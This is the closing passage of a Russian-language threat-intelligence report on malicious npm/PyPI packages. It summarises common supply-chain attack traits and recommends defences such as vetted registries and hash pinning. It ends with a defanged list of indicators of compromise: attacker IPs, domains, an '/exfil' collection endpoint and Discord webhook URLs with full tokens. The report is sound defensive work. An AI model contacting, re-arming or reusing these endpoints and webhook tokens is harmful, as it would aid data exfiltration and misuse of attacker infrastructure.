За все время нашего анализа картина получилась довольно прагматичной: большинство атак устроены просто. Они используют доверие к install lifecycle, привычные сетевые API, обфускацию и массовое размножение похожих пакетов. Самые полезные сигналы появляются из комбинаций: install-time execution, сбор локальных данных, внешний endpoint, динамическое исполнение и маскировка полезной нагрузки.
Для защиты мы рекомендуем:
- Завести внутренний проверенный registry/proxy и не тянуть зависимости напрямую из публичных npm/PyPI.
- Проверять пакет не только по имени, популярности и количеству скачиваний: вредоносные пакеты часто маскируются под знакомые библиотеки или попадают в дерево зависимостей транзитивно.
- Закреплять версии и хеши пакетов, которые уже прошли проверку, и отдельно анализировать обновления перед внедрением.
- Использовать threat intelligence по npm/PyPI: фиды с вредоносными пакетами, IOC и контекстом по кампаниям помогают быстрее блокировать supply-chain-атаки.
IOCs
Сетевые индикаторы
URL
http://54[.]242[.]228[.]151[:]8090/debug-21f53
http://49[.]232[.]169[.]67[:]8084/slt
https://3vz70udxj4igjcfhpjsmuyzsnjtah15q[.]oastify[.]com/exfil
https://canary[.]discord[.]com/api/webhooks/1438273237867036682/y-jlMJWQRYZlxmYEAzEKNQLMRG3GTh7ZcVryf-CpYulJymcNV_rXJMFtvIDke7E7w5HW
https://discord[.]com/api/webhooks/1509929656651092121/FW2hgh6GfYlssDRVLbB02432AXZAfEjIjszM6kOBrEv1VG_HYwS08BObsOGH55IG9hjL
https://x0[.]at/P685.txt
https://kotko[.]me/analyze.php?procoder
IP-адреса
54[.]242[.]228[.]151
49[.]232[.]169[.]67
147[.]45[.]124[.]42
Домены и хосты
3vz70udxj4igjcfhpjsmuyzsnjtah15q[.]oastify[.]com
Xghfyxdvb7rz4exwnbj51fm2etkk8awz[.]oastify[.]com
7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy[.]oastify[.]com
a[.]stratfordhospital5050[.]com
x0[.]at
kotko[.]me

























































